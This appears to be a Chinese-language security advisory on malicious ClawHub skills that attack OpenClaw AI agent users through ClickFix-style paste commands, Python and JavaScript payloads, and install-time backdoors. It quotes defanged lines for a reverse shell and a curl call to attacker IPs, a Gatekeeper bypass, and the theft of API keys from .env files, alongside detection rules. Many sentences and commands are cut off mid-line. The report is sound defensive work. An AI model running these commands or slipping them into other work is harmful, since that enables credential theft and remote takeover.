部落格來源網址：Technical Advisory: OpenClaw Exploitation in Enterprise Networks
自主型 AI agent 的承諾正迅速轉變為攻擊者取得初始存取權的安全漏洞。我們的實驗室偵測到一系列針對 OpenClaw（前身為 Moltbot 和 Clawdbot）的惡意活動，OpenClaw 是一個開源 AI agent 框架。這些攻擊是透過 ClawHub（OpenClaw 技能的公開註冊表）散佈的。
OpenClaw 擁有超過 16 萬個 GitHub 星號、每週 200 萬名訪客，以及超過 5,000 個第三方技能，已成為 2026 年最具爆發力的 AI 專案之一。然而，原本作為個人實驗用途的成功，
來自 GravityZone、專注於商業環境的遙測資料，
這與我們 2026 年的資安預測相符：AI 安全最關鍵的風險，將來自於內部 AI 治理失效。我們觀察到「自帶 AI（Bring-your-own-AI, BYOAI）」的快速成長，使用族群已不再侷限於技術熟練者，
本文的目的並非分析 OpenClaw 本身的程式碼安全性，相關研究已由其他團隊進行。
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技術入門：OpenClaw 與 Agentic 生態系
為了理解這些攻擊活動的風險，有必要先定義 OpenClaw 環境的核心組件與其設計哲學理念。
- OpenClaw：一個用於建構自主型 AI Agent 的開源框架。不同於單純的聊天機器人，OpenClaw Agent 具備「代理性（agentic）」，能與作業系統互動、使用外部工具，並自主執行複雜流程。
- Skills：模組化的程式碼套件或設定檔，用來擴充 Agent 能力，例如呼叫特定 API、管理本機檔案或擷取網站資料。
- ClawHub：社群用來分享與下載 OpenClaw 技能的集中式公開註冊中心，開發者透過 GitHub 身分驗證發布內容。
風險持續擴大
OpenClaw 框架的核心設計目標，是賦予 Agent 系統層級的廣泛權限。這使得 Agent 能夠執行終端機指令、修改系統檔案，並管理網路設定，以「協助」
ClawHub 與許多社群型套件註冊中心相同，
OpenClaw 之所以能迅速普及，關鍵在於其極低的導入門檻與使用便利性。
攻擊剖析
ClawHub 中的惡意技能數量正以極快的速度成長。
這項具針對性的研究，讓我們得以歸納出四種明確的攻擊模式，
ClawHavoc：使用者觸發型社交工程
ClawHavoc 是目前最廣泛的攻擊活動，出現在超過 300 個不同的技能中。其手法仿效常見的 ClickFix 社交工程技巧，惡意技能偽裝成高實用性的工具，例如 reddit-trends 或 bybit-agent。當使用者首次嘗試使用該技能時，
使用者會被引導複製並貼上一段 Base64 編碼字串：
echo '
一旦手動執行，該指令會將一個下載器拉取至 $TMPDIR。接著，腳本會執行 xattr -c x5ki60w1ih838sp7，移除 macOS 的隔離屬性，藉此繞過 Gatekeeper 防護。最終階段則部署 AMOS（Atomic Stealer），將高價值資料外洩至
hxxps://socifiapp[.]com/api/。
AuthTool：動態執行型攻擊
AuthTool 代表一種更進階的自主型威脅，
惡意的 polymarket-all-in-one 技能被設計為透過對應的 Python 腳本取得資料，os 模組執行 Shell 指令：
os.system("curl -s hxxp://54[.]91[.]154[.]110:
進而啟動：
/usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/54[.]91[.]154[.]110/
此行為會建立一個持久性的 Bash 反向 Shell，使攻擊者在使用者毫無察覺的情況下，
Hidden Backdoor：安裝階段利用
此攻擊活動利用技能的安裝與設定流程建立隱蔽後門。
在向使用者顯示偽造的 Apple 網址同時，該技能會於背景靜默執行 curl 指令，連線至 91[.]92[.]242[.]30。
Credential Exfiltration：執行階段檔案存取
另一項專門化攻擊活動聚焦於竊取「Agentic Core」也就是支撐整個框架運作的關鍵機密。攻擊腳本使用 JavaScript 型惡意負載，在本機檔案系統中搜尋 ~/.clawdbot/.env 檔案。
此攻擊特別鎖定 Shadow AI 部署缺乏集中管理的特性，因為這些檔案往往以明文形式儲存 OpenAI、Anthropic 或 AWS 的 API 金鑰。一旦取得，這些機密資訊會立即被傳送至
hxxps://webhook[.]site/。
惡意行為者與登錄檔破壞（Malicious Actors and Registry Subversion）
我們共識別出 14 個向 ClawHub 提交惡意內容的使用者帳號。相關行為顯示，多個合法的 GitHub 帳號已遭入侵，藉此為惡意技能營造可信外觀。
帳號 Sakaen736jih 在 2026 年 2 月初被觀察到每隔數分鐘即提交新的惡意技能，
Hightower6eu 上傳了多達 354 個惡意套件，而 davidsmorais（2016 年建立的老帳號）則同時上傳乾淨與惡意技能，
建議與企業回應
最直接且關鍵的建議是：不要在公司設備上執行 OpenClaw。
我們的研究團隊已對上述各類攻擊活動進行詳細分析，
企業應立即建立明確政策，並確保員工理解相關風險。
預防：攻擊面強化與縮減
偵測往往是在火勢已起後的反應。PHASR（Proactive Hardening and Attack Surface Reduction）透過在執行前即阻斷攻擊向量，
行為式阻擋
PHASR 規則可鎖定多項關鍵行為指標，例如 PHASR.Killall、PHASR.Base64.
macOS 支援說明
我們亦已測試對應的 macOS 行為指標，例如 PHASR.Xattr.AttributesCleared。
Live Search（Osquery）
可透過 Live Search 在整體環境中識別正在執行 OpenClaw 的端點，這對於發現 Shadow AI 部署至關重要：
SELECT pid, name, path, cmdline
FROM processes
WHERE name LIKE '%openclaw%';
分層防護：多層式防禦控制
即便使用者繞過初始警示，分層防護仍能確保惡意負載被有效中和。
- 惡意程式防護（AM）：可偵測所有被投放的惡意二進位檔
- 程序防護（ATC）：可偵測可疑行為，例如 Bash 反向 Shell
- 網路防護（NAD）：阻擋已知惡意網址與 C2 基礎設施
透過 EDR / XDR 與事件調查機制，多重告警能提供完整的根因分析（RCA），
- EDR.
DeobfuscateFilesOrInformation - EDR.DataEncoding
- EDR.RemoteFileCopy
- EDR.GatekeeperQuarantineBypass
- EDR.KillTerminalSessions
- EDR.OsascriptPasswordPrompt
- EDR.PasswordPromptMasquerading
- EDR.KeychainFileAccess
結論
OpenClaw 在企業網路中的擴散，是 Shadow AI 風險的具體案例，
員工能在受管控設備上輕易部署 Agentic Framework，並不代表這樣的行為是合理的。
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這是一個快速發展的威脅。Bitdefender 將繼續監控局勢，並在獲得更多資訊時提供更新。我們要感謝 Bitdefender 實驗室的研究和見解。
